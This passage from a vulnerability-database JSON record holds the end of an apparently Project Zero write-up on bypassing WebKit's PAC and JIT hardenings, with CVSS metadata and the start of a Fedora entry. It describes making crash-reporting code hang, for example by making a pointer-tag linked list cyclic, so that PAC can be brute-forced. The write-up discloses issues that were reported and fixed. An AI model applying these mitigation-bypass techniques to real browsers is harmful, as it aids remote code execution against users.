don\u2019t match. The problem here is that an attacker might be able to corrupt data in a way that causes dataLogLn, a nontrivial function, to block or spin infinitely, for example by corrupting a lock or making some loop run forever. In that case, the attacker-controlled machine code will already have been copied into the JIT region and can afterwards be executed by the attacker in another thread without fear of losing a race against CRASH(). This potential variant was likely identified by Apple shortly after the original issue was reported to them, then fixed in WebKit with commit [e87946b7a8](<https://github.com/WebKit/webkit/commit/e87946b7a86e0e0c1b11bcaf19c46ff384e5579d#diff-f751db5d3640969ae224c602ca5eba3f>).\n\n** \n**\n\nAs another example, the following function was called by JSC just before it was going to CRASH() when it encountered an incorrectly PAC signature (WebKit\u2019s [PtrTag mechanism](<https://github.com/WebKit/webkit/blob/909d1c0d841c7810ca7dd108e5b3e01ed71dcb85/Source/JavaScriptCore/runtime/JSCPtrTag.h>) is based on PAC), indicating corruption of critical data by an attacker:\n\n** \n**\n\nvoid reportBadTag(const void* ptr, PtrTag expectedTag)\n\n{\n\ndataLog(\"PtrTag ASSERTION FAILED on pointer \", RawPointer(ptr), \", actual tag = \", tagForPtr(ptr));\n\n...\n\n}\n\n** \n**\n\nThe tagForPtr call actually ends up traversing a linked list:\n\n** \n**\n\nstatic const char* tagForPtr(const void* ptr)\n\n{\n\nPtrTagLookup* lookup = s_ptrTagLookup;\n\nwhile (lookup) {\n\nconst char* tagName = lookup->tagForPtr(ptr);\n\nif (tagName)\n\nreturn tagName;\n\nlookup = lookup->next;\n\n}\n\n** \n**\n\n...\n\n** \n**\n\nAs such, by turning this list into a cycle, it again became possible to prevent crashing due to a PAC failure. This in turn allows a brute-force attack against PAC or possibly leaking a validly signed, arbitrary pointer as documented in the report for this variant. This variant was reported to Apple as a [variant of Project Zero issue #2042](<https://bugs.chromium.org/p/project-zero/issues/detail?id=2042#c1>), then fixed with commits [13e30ec7a5](<https://github.com/WebKit/webkit/commit/13e30ec7a58077dfded00d722d9d9b5e71bd5e01>) and [db8b3982f2](<https://github.com/WebKit/webkit/commit/db8b3982f245d681677f6e8ecf72bbcc011d2058>).\n\n** \n**\n\nFinally, even \u201cbroader\u201d variants of this issue may exist: if there is code that spills sensitive values (e.g. raw pointers after authentication) to the stack temporarily before performing actions that can be made to block by the attacker (e.g. a loop or a lock operation), then, an attacker might be able to corrupt sensitive data without having to win a race. No such places were identified throughout this research though.\n\n#### Summary\n\nIn essence, every bit of code that executes after a failure condition has been detected but before the process is ultimately terminated should be considered as an attack surface, with the attacker potentially \u201cwinning\u201d if they are able to make this code block. With signal handling, this becomes even more complex as code such as\n\n** \n**\n\nif (security_failure) {\n\nCRASH();\n\n}\n\n** \n**\n\nIs in fact more like\n\n** \n**\n\nif (security_failure) {\n\nsignal_handler();\n\nCRASH();\n\n}\n\n** \n**\n\nIdeally, signal handling would thus be removed entirely from critical processes, or at least restricted to fewer signals. All in all, the speed at which these fixes were implemented implies that Apple is committed to PAC (and APRR) as a serious security mitigation.\n\n## Conclusion \n\nThis post discussed multiple ways for bypassing WebKit\u2019s JIT hardenings. While some approaches didn\u2019t work or weren\u2019t attempted further for various reasons, two previously unknown (at least publicly\u2026) issues, as well as multiple variants thereof, were discovered that allowed for reliable bypasses. They were reported to Apple and subsequently fixed in iOS 13.6 as CVE-2020-9870 and CVE-2020-9910.\n\n** \n**\n\nThis post also concludes the three part series. All in all it was a substantial time investment to first find a suitable vulnerability, then bypass the various exploit mitigations with it. However, it is important to keep in mind that a large part of this effort is a one time cost for an attacker, required for the first exploit developed. Afterwards, the attack can likely reuse the majority of the previous exploit work for subsequent vulnerabilities. On the other hand, once mitigation bypasses are treated similarly to vulnerabilities and fixed swiftly once reported (as well as included in bug-bounty programs), this argument becomes weaker as an attacker is now disrupted if either their vulnerability or their mitigation bypass is reported or otherwise found by the vendor. In addition to the exploited vulnerability, Apple also quickly fixed the PAC bypasses and assigned CVE numbers for them. It was pleasing to see Apple's commitment to fixing the mitigation bypass quickly and I hope that they continue to do so in the future.\n\n \n\n\nWhile logic vulnerabilities will likely allow for sandbox escapes for the foreseeable future and are largely unaffected by exploit mitigation technologies, it seems plausible that a typical exploit chain will still require renderer shellcode execution (or at least something roughly equivalent). Since some form of memory corruption is likely required for that, developing and maintaining memory corruption mitigations at various levels (close to the initial bug with MTE, during the early exploitation phase with the Gigacage and StructureID randomization, and after read/write has already been achieved through PAC and APRR) alongside stronger sandboxing, appears, generally speaking, to be a worthwhile investment.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2020-09-01T00:00:00", "type": "googleprojectzero", "title": "\nJITSploitation III: Subverting Control Flow\n", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-9802", "CVE-2020-9870", "CVE-2020-9910"], "modified": "2020-09-01T00:00:00", "id": "GOOGLEPROJECTZERO:82BC34EA810EB3C377CA67B9E6698CC2", "href": "https://googleprojectzero.blogspot.com/2020/09/jitsploitation-three.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "fedora": [{"lastseen": "2023-06-06T15:26:38", "description": "WebKitGTK is the port of the portable web rendering engine WebKit to the GTK platform.
